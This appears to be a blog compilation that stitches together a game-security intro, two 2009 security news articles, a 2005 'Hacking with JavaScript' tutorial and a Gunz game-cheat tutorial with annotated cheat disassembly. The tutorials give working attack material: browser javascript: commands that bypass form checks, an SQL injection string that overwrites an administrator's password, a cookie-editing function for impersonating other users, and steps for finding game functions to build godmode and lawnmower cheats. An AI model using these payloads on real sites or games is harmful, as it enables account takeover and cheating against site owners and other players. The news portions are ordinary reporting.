This is Justin Choi who work for one of famous online game companies in US.
For the security purposes, I can't tell where I work for. However, I would like to talk about more real environments in gaming industry.

I am in charge of securing our system/applications.

We have so far two popular games, A and B.


Maybe, I would rather focuses more on hacking stuffs than talk about general things.


There are bunch of hacking groups that is currently aiming at our games.

Speed Hack
Lawn mower
God Mode
HP/SP control
Wall Hack

and ETC.

Mostly, they just use DLL injection skill by using injection tools. They just injected their own DLL into PE file (e.x. blahblah.exe).


I will cover more details soon or later.

Enjoy! :)

Business-logic flaw in Sears.com Web application could have let hackers brute-force attack the retailer's gift card database

Sep 01, 2009 | 03:49 PM

By Kelly Jackson Higgins
DarkReading

A newly discovered vulnerability on Sears.com could have allowed attackers to raid the retail giant's gift card database.

Alex Firmani, owner of Merge Design and a researcher, this week revealed a major security hole on Sears.com that could allow an attacker to easily steal valid gift cards -- a heist he estimates could be worth millions of dollars. Firmani says he alerted Sears about the flaw, and that Sears has since "plugged" the hole by removing the feature that let customers verify and check their gift-card balances.

The vulnerability was a business logic flaw in a Web application that handles gift card account inquiries; Firmani was able to stage a brute-force attack that could grab all valid, active Sears and Kmart gift cards from the company's database.

Firmani says the site wasn't auditing verification requests, which allowed him to verify gift card and PIN combinations using a homegrown PHP script that automatically submitted the requests. "I wrote a PHP script to hammer their verification server. It happily replied with thousands of verification responses per minute," he says.

The Sears application relied on client-side cookies to halt brute-force verification attempts, which Firmani says wasn't effective. "They should know where the verification requests come from, log them all, and be able to disable the verifications when they have a malicious attack," he says. "It doesn't appear to me that they had any server-side control over how many verifications were done."

Jeremiah Grossman, CTO of WhiteHat Security, says this type of flaw is probably fairly common on retailer Websites. And unlike a cross-site scripting or SQL injection bug, this business logic flaw is different: "It basically lets an attacker defraud Sears.com directly," Grossman says.

Firmani's discovery came on the heels of reports of multiple cross-site scripting (XSS) vulnerabilities on Sears' Web pages that were abused by an attacker to deface the Website.

"I thought this was notable with Sears being a Fortune 50 company," he says. "I have not tested many other large retailers, but I would hope most of them take better care than this. For smaller sites that write their own gift-card verification code, I'd expect just as many are vulnerable."

Firmani, who says he discloses Website flaws to site owners in order to highlight common Web application security issues, suggests that Sears require a valid user account login before allowing a verification request to be sent. "You could then record the number of verification requests and lock out any offending accounts automatically and without relying on client-side cookie," he wrote in his disclosure paper. "Recording requests server-side would be a more reliable way of handling repeat request offenders."

Another option is recording to a server-side database IP addresses of users verifying their gift cards, he said, as well as using a "number-used once" scheme in the verification form or logging all verification requests and using a script to shut down the response server if more than a specifically designated number of requests arrive per minute, he said.

"Security these days is less about what version of Apache you're running and more about custom-written Web applications. With Web apps given unfettered database access, it becomes a simple matter of exploiting less-than-solid Web application programming," Firmani says. "Finding holes in home-brewed Web app code is much easier than exploiting a root-escalation bug on a Linux server, but both often have similar database access."

SQL Vulnerability Leaves Passwords In The Clear, Researchers Say

With no patch forthcoming from Microsoft, Sentrigo launches workaround for flaw

Sep 02, 2009 | 05:02 PM

By Tim Wilson
DarkReading

A vulnerability in Microsoft SQL Server could enable any user with administrative privileges to openly see the unencrypted passwords of all other users, researchers said today.

Researchers at database security vendor Sentrigo say that in SQL Server 2000 or 2005, administrators can view all of the passwords used since the server went online by reviewing its process memory. Under SQL Server 2008, the problem has been partially fixed, but an administrator with local access and a simple debugger could still view the passwords, Sentrigo says.

The vulnerability is most likely an insider threat because it requires administrative privileges, says Slavik Markovich, CTO of Sentrigo. However, it is also possible for a hacker to take advantage of the flaw by exploiting SQL injection, he says.

The flaw may not directly affect the data in the database, since an administrator would have access to that data already, Slavik says. But many people reuse their passwords for other applications, and it is possible that the vulnerability might lead to the compromise of other users' work or personal accounts.

"Worst case, it might lead to one administrator stealing bank account data from another administrator," Slavik says. "People are not supposed to reuse their passwords, but it's a reality that they do."

The Sentrigo researchers found the vulnerability last September and informed Microsoft, Slavik says. However, after nearly a year of discussion, Microsoft has indicated that it considers the issue to be "minor" and has no plans to issue a specific patch, he says.

"We did not agree with Microsoft's classification of this vulnerability as a minor issue, and felt that it was in the best interest of SQL Server users to make the vulnerability public and provide a utility to remove the passwords from memory," Sentrigo says. "If we discovered this information, there is a high likelihood others [who may not be as ethical] could find it as well and abuse it."

Sentrigo feels that the vulnerability is a danger because so many users employ the same passwords for multiple applications, and because so many breaches are engineered by privileged users and administrators.

"Many applications are deployed with administrative privileges," Sentrigo observes. "Hackers using a simple SQL injection vulnerability can now access administrative passwords, which may be used to penetrate other systems on the network, escalating the breach. This is even worse in the case of SQL Server 2000 and 2005, where this can be done remotely.

"Since Microsoft doesn't have immediate plans to fix this vulnerability, we felt that the knowledge regarding its existence -- together with a free utility to repair it -- should be available to the public sooner than later," Sentrigo says.

One well-known security researcher, who requested anonymity, disagrees. "This seems like a nonissue," the researcher says. "Anyone with the ability to read process memory would also have the ability to just hook the authentication code and capture passwords that way. For once, Microsoft is right to ignore it."

Sentrigo acknowledges that administrators have the authority to reset passwords, but "there is a big difference between being able to reset a password to either a system-generated password which the administrator would not see (or to a password the administrator chooses) and actually seeing a user's personal password," the researchers say. "The latter involves much greater risk, including access to additional systems the password may be used on, potentially enabling access to user's private data, such as bank or brokerage accounts."

The Sentrigo fix, which the company has dubbed Passwordizer, replaces the password data with asterisks, making it impossible for administrators to read the passwords in memory. The utility is available now for free and works on any version of SQL Server.

Have a comment on this story? Please click "Discuss" below. If you'd like to contact Dark Reading's editors directly, send us a message.

Let me know if you need security consulting service including penetration testings, system security checks and etc.

:)

counterhacker@gmail.com

To: bugtraq@securityfocus.com

Date: Wed, 09 Feb 2005 13:43:23 +0000

HACKING WITH JAVASCRIPT
hictor

This tutorial is an overview of how javascript can be used to bypass
simple/advanced html forms and how it can be used to override cookie/session
authentication.

SIMPLE HTML FORMS

1. Bypassing Required Fields

        Surely you have met a webpage that requires you to fill all fields in a
form in order to submit it. It is possible to bypass these types of
restrictions on any webpage. If you take a look at the webpage's source and
follow it down to the form's code, you will notice the onsubmit form
attribute. Hopefully by this time you have experienced the power of
javascript and you know that javascript has control over every single
element in a webpage, including forms.We can use javascript to our advantage
in every page we view for we can modify, delete, or add any element to the
webpage. In this case we wish to clear the form's onsubmit attribute in
order for the form to be submitted successfully.

        The onsubmit attribute generally points to a function that checks the form
to have the correct format. A function that does this may look something
like this:

                function formSubmit(x)
                {
                        if(x.email.value=="") return false;
                        return true;
                }

                ...

                <form name="spamform" method=post action="process.php" onsubmit="return
formSubmit(this);">
                ...
                </form>

        I will not go into great detail about how the formSubmit function works.
You should know that if the (textfield/optionfield/option/..) field is left
blank, the form will not be submitted to process.php. Now comes the moment
of truth, how do we modify the form so that onsubmit returns true everytime?
The way we can access the form with javascript and do this is:

                document.forms[x].onsubmit="return true;";

                or

                document.spamform.onsubmit="return true;";

        Both of these 'queries' will allow you to submit the form free of
restrictions. The secret is how to execute this. I do this using my
browser's Location bar. All you have to do is enter this text into the
location bar and press enter:

                javascript:document.spamform.onsubmit="return true;";

        The above statement will not work because the 'query' will return a value
javascript doesn't know what to do with it so it dumps the returned value on
the screen. We need a way to use this value and escape it from passing on to
javascript. I know the exact way to do this, with alert()!

                javascript:alert(document.spamform.onsubmit="return true;");

        You will see an alertbox with "return true;" instead of dumping this value
out to the webbrowser. Once you have executed this query you will be able to
enter whatever value into whatever field in spamform.

2. Changing Fields' Values

        If you have managed to change a form's onsubmit attribute to let you do
whatever the *** you want, what are the limits? Of course now you know that
you can modify the onsubmit attribute of a form from the location bar, same
goes for any attributes of any object in the page. This is how you can do
it:

                javascript:alert(document.spamform.fieldname.value="Dr_aMado was here!");

                or

                javascript:alert(document.forms[x].fieldname.value="Dr_aMado was here!");

        But of course, you already knew that. Didn't you? You can change the
values of pretty much anything inside a form, including radios, checkboxes,
selects, hidden values, buttons, anything!

SQL INJECTIONS

1. Using Forms to Your Advantage

        You probably already know about sql injection, my goal is to explain how
vulnerable forms can be if not handled correctly. When targeting a system,
most times you will start off with 0 code to exploit. The only thing you
have is a constructed webpage to break to pieces and successfully find
vulnerabilities to use to your advantage.

                ACQUIRING DATABASE INFORMATION

        A very logic way of acquiring system information from a website's database
is by causing errors in the sql queries. These errors can be created
through search forms, dynamic links, or session cookies. Most sql injection
papers explain how dynamic links and text boxes can be used to execute sql
queries but in my opinion, this vulnurability is more common in other input
types (select boxes, hidden fields, checkboxes and radio buttons, and
cookies!).

        Mixing data types generally crashes a webpage if it's not well coded. Take
for example a link to "memberinfo.php?o_id=1". If your goal is to crash that
page it would be a good idea to stick in a " or a ' in the o_id variable.
If you're lucky you will get a debug message containing the crippled sql
query. After you have all the information you need and you know what you're
going after you're ready to hack the hell out of every page that you have
access to.

                CHANGING FIELDS' VALUES

        The first form you think of is the profile page. Most profile pages ignore
a user's intellectuals and don't mask out,for example, select boxes. A way
of exploiting this vulnerability is by injecting a sql query in the value
property of the field.

                javascript:alert(document.profileform.user_sex.value="gay\',user_pasword=\'HACKED\'
WHERE user_id=1#");

        If we assume that the server side sql query looks something like this:

                "UPDATE user_data SET
user_password='$user_password',user_email='$user_email',user_sex='$user_sex'
WHERE user_id=$user_id";

                Then the final query will look somewhat like this:

                "UPDATE user_data SET
user_password='mypassword',user_email='myemail',user_sex='gay',user_password='HACKED'
WHERE
                user_id=1 #' WHERE user_id=7382";

                # Is a sql comment operator.

2. Bypassing Session Cookies

                OVERRIDING BASIC SESSION COOKIE AUTHENTICATION

        Most of the time session handling is done with the use of cookies. The
cookies tell the webpage who you are and what you have access to and what
you don't have access to. If the page does not handle session cookies
correctly a hacker might be able to change their identity to that of
another user's. Cookies are stored in "window.document.cookie". With
javascript we are able to erase,edit,create cookies for any website. This
task is more complicated than regular types of attacks. I will not go into
great detail about how it's done.

                To View the Cookie:
                        javascript:alert(unescape(document.cookie));

                To Change Cookie Data:

                        javascript:alert(window.c=function
a(n,v,nv){c=document.cookie;c=c.substring(c.indexOf(n)+n.length,c.length);c=c.substring(1,((c.indexOf(";")>-1)
? c.indexOf(";") :
c.length));nc=unescape(c).replace(v,nv);document.cookie=n+"="+escape(nc);return
unescape(document.cookie);});alert(c(prompt("cookie
name:",""),prompt("replace this value:",""),prompt("with::","")));

                So If You are logged in as "John Doe" in www.ima13370h4x0r.net and your
session cookie reads:

                        SessionData=a:3:{s:11:"SessionUser";s:5:"75959";s:9:"SessionID";i:70202768;s:9:"LastVisit";i:1078367189;}

        The cookie is actually serialized but you should be able to recognize
"75959" as your user_id. Some of the time you will find a website that
stores data (like user_id) in cookies but does not typecast the data. This
is a serious hole in the site's code because any user is able to change
their user_id to any other user or administrator user_id.

        Changing the cookie value is easy once you have declared the window.c
function. First change s:5:"75959" to s:x:"ADMINID" where x is the length of
the new value. So if you want to change 75959 to 1. You must change
s:5:"75959" to s:1:"1" :-) Sometimes you will need to change 75959 to "13 or
1=1" in order to bypass any WHERE statements any sql session queries used to
keep you logged in the website.

----------------------------------------------------------------------------------------
Notes:
        In-line javascript statements can be added to your browser's favorites for
easier access to your own functions.
        It is possible to declare your own functions for use in extended hacks.
Declare the function as a method of window. "alert(window.newfunction =
function (){...})"
----------------------------------------------------------------------------------------

am hictor
lezr.com
thnk you rodhedor
hict0r@hotmail.com

This is my second gunz tutorial =3
Today I will teach you all how to find
all your favorite hacking functions in an
unpacked gunz.

remember you cant call some one if you don't
know what their number is correct?
So to call the function that lets say makes a slash
we need to know where it is to call it over and over
again to make a lawnmower hack
and this is exactly what I will be teaching :)

You will need:

Ollydebugger
CurrentUnpackedGunz
OldGunzclient+OldGunzaddresses
JGunzclient+JGunzaddresses
FullGunz.pdbDump

Ok lets start simple lets say we want to make a lawnmower hack
How do we find where the function that makes a slash is located
in the Gunz.exe so open up your unpacked gunz in
olly and take a look.

METHOD 1 "PacketIDs"
The function that makes a slash is ZPostShot and ZPostShotMelee
to find these in your current(or any) unpacked gunz client
go to olly and right click in the CPU window->go down to where
it says "Search for"->find and click on "All Reference Text Strings".
This will search all the gunz.exe for referenced text
and most functions can be found by this method.
To find ZPostShot first click on view on the main top bar
and find "references".
(notice that after you do search for reference
text this window should automatically open and you dont have to do this
step)
Right click in the "Reference Window"->click on "search for text"
a popup will appear with checkboxes, make sure you uncheck
"Case Sensitive" and check "Entire Scope".
Now you not knowing what specific text string ZPostShot is
you should use a text that is in the name i.e "Shot" and press
Ctrl+L to search for next until you find the one you think it is.
But I know what ZPostShot is its "Peer.Shot".
so you find it in reference text and click to find it in the CPU window
just press enter or double click.
and you should see something like this:
You see the PUSH 2732?
the four digits ->"2732"<- that is the "PacketID"
With this you can find your function.
Just right click on the line where the packet ID is located
and select "Binary"->"Binary Copy".
Now that you have copied to the clip board
Right click->"Search for"->"Binary String"(Ctrl+B)
and in the "HEX +05" space paste the binary(Ctrl+V)
and hit OK.
That will jump you to the function(it should) and it does not
just press Ctrl+L to keep searching.
If you do find it just scroll up to the start of the function
it should look like this (the full ZPostShot function)
There you just found your function.
All ZPost functions will have packetIDs so they are easy
to find but what about other functions like the one used
to make a godmode hack? well this is where our JGunz.exe
comes in.

METHOD 2 (WildCards)
Open JGunz(or OldGunz) in Ollydbg
open JGunz GunzFunction.txt in notepad
and press Ctrl+F in notepad
and type "ZModule_HPAP::SetHP"or"ZModule_HPAP::SetAP"
and press enter you will find that
in JGunz ZModule_HPAP::SetHP is located at 0047DDD0
so copy that address and go to JGunz in olly and
click on this button ->and paste the address there
click Ok or press enter
In JGunz the full ZModule_HPAP::SetHP looks like this:
as you can see there is no packetID so we are going to do a Binary
Copy :)

So highlight alittle bit of the fuction i.e:
Right click and do a Binary Copy and paste it in notepad it should
look like this
Now to organize it lets space it how it is in olly like so:
That in Binary is the equivelant to the ASM above it :)
Ok so from the first 3 lines and the last 2 lines fill it with "??"
yep question makes.
So like this:
I am doing it this way since I know it will work
but the general rule is that what ever you copy goes through this process
FF FF (If your binary string looks like this the right side after the space should be filled with "??" so it look like FF ??
FF (If there is only 1 pair then nothing needs to be done
FFFF FF (Any pair after the space should be replaced with "??" like so FFFF ??.

Ok so thats in notepad.
Open up your current unpacked gunz in olly
and press Ctrl+B and paste the OP code you just made in notepad :)
into the HEX +05 space and click ok.

The first one you see should be the new function and at the top is the address
where its located.
It should look like this in the current gunz:
Congrats you just found ZModule_HPAP::SetHP =3

Here is a list of some I have already found this is currently working for Ijji as of April,02,09.
Addresses
Next Gunz tutorial I will teach you how to make a simple
Dll Hack !

http://www.lethalgaming.net/forum/showthread.php?t=57725

008788F8 |. /74 17 |je short lol!.00878911							; If the previous comparison was equal, go to 00878911
008788FA |. |6A 00 |push 0 ; /pThreadId = NULL							; pThreadId is declared as NULL as a parameter for CreateThread
008788FC |. |6A 00 |push 0 ; |CreationFlags = 0							; CreationFlags is declared as 0 as a parameter for CreateThread
008788FE |. |6A 00 |push 0 ; |pThreadParm = NULL						; pThreadParam declared as NULL as a parameter for CreateThread
00878900 |. |B8 7D588700 |mov eax, lol!.0087587D ; |						; Move the data stored at 0087587D to the EAX register
00878905 |. |50 |push eax ; |ThreadFunction => lol!.0087587D					; Push the EAX register as a parameter for CreateThread
00878906 |. |6A 00 |push 0 ; |StackSize = 0							; Declare the stack size as 0 as a parameter for CreateThread
00878908 |. |6A 00 |push 0 ; |pSecurity = NULL							; pSecurity is declared as NULL as a parameter for CreateThread
0087890A |. |2E:FF15 BC518>|call near dword ptr cs:[<&KERNEL32.CreateThread>] ; \CreateThread   ; Call to CreateThread
00878911 |> \E8 2CAAFFFF |call lol!.00873342							; Call to function at address 00873342
00878916 |. 6A 32 |push 32 ; /Timeout = 50. ms							; Push decimal value 50 as a parameter for SLEEP
00878918 |. 2E:FF15 64528>|call near dword ptr cs:[<&KERNEL32.Sleep>] ; \Sleep			; Call SLEEP function
0087891F |> BA 11748900 |mov edx, lol!.00897411 ; ASCII "@charge"				; Load the ASCII text "@charge" into the EDX register
00878924 |. E8 569FFFFF |call lol!.0087287F							; Call to function at address 0087287F
00878929 |. E8 92070100 |call lol!.008890C0							; Call to function at address 008890C0
0087892E |. 85C0 |test eax, eax									; AND operation - modifies flags as needed
00878930 |. 75 49 |jnz short lol!.0087897B							; Jump if return value is not zero to address 0087897B
00878932 |. 803D 61C48900>|cmp byte ptr ds:[89C461], 0						; Compare byte value 89C461 to zero
00878939 |. 75 06 |jnz short lol!.00878941							; Jump if return value is not zero to address 00878941
0087893B |. C645 80 01 |mov byte ptr ss:[ebp-80], 1						; Move the number 1 to 80 bytes below the stack base pointer
0087893F |. EB 04 |jmp short lol!.00878945							; Jump to address 00878945
00878941 |> C645 80 00 |mov byte ptr ss:[ebp-80], 0						; Move the number 0 to 80 bytes below the stack base pointer
00878945 |> 8A45 80 |mov al, byte ptr ss:[ebp-80]						; Move the byte value of EBP-80 to the register AL
00878948 |. A2 61C48900 |mov byte ptr ds:[89C461], al						; 
0087894D |. 803D 61C48900>|cmp byte ptr ds:[89C461], 0						; Compare the byte value 89C461 to 0
00878954 |. 74 17 |je short lol!.0087896D							; If the values are equal jump to address 0087896D
00878956 |. 6A 00 |push 0 ; /pThreadId = NULL							; pThreadId is declared as NULL as a parameter for CreateThread
00878958 |. 6A 00 |push 0 ; |CreationFlags = 0							; CreationFlags is declared as 0 as a parameter for CreateThread
0087895A |. 6A 00 |push 0 ; |pThreadParm = NULL							; pThreadParam declared as NULL as a parameter for CreateThread
0087895C |. B8 FE578700 |mov eax, lol!.008757FE ; |						; Move the data stored at 008757FE to the EAX register
00878961 |. 50 |push eax ; |ThreadFunction => lol!.008757FE					; Push the EAX register as a parameter for CreateThread
00878962 |. 6A 00 |push 0 ; |StackSize = 0							; Declare the stack size as 0 as a parameter for CreateThread
00878964 |. 6A 00 |push 0 ; |pSecurity = NULL							; pSecurity is declared as NULL as a parameter for CreateThread
00878966 |. 2E:FF15 BC518>|call near dword ptr cs:[<&KERNEL32.CreateThread>] ; \CreateThread	; Call to CreateThread
0087896D |> E8 D0A9FFFF |call lol!.00873342							; Call to function at address 00873342
00878972 |. 6A 32 |push 32 ; /Timeout = 50. ms							; Push decimal value 50 as a parameter for SLEEP
00878974 |. 2E:FF15 64528>|call near dword ptr cs:[<&KERNEL32.Sleep>] ; \Sleep			; Call to SLEEP
0087897B |> BA 19748900 |mov edx, lol!.00897419 ; ASCII "@godmode"				; Move ASCII text "@godmode" into EDX register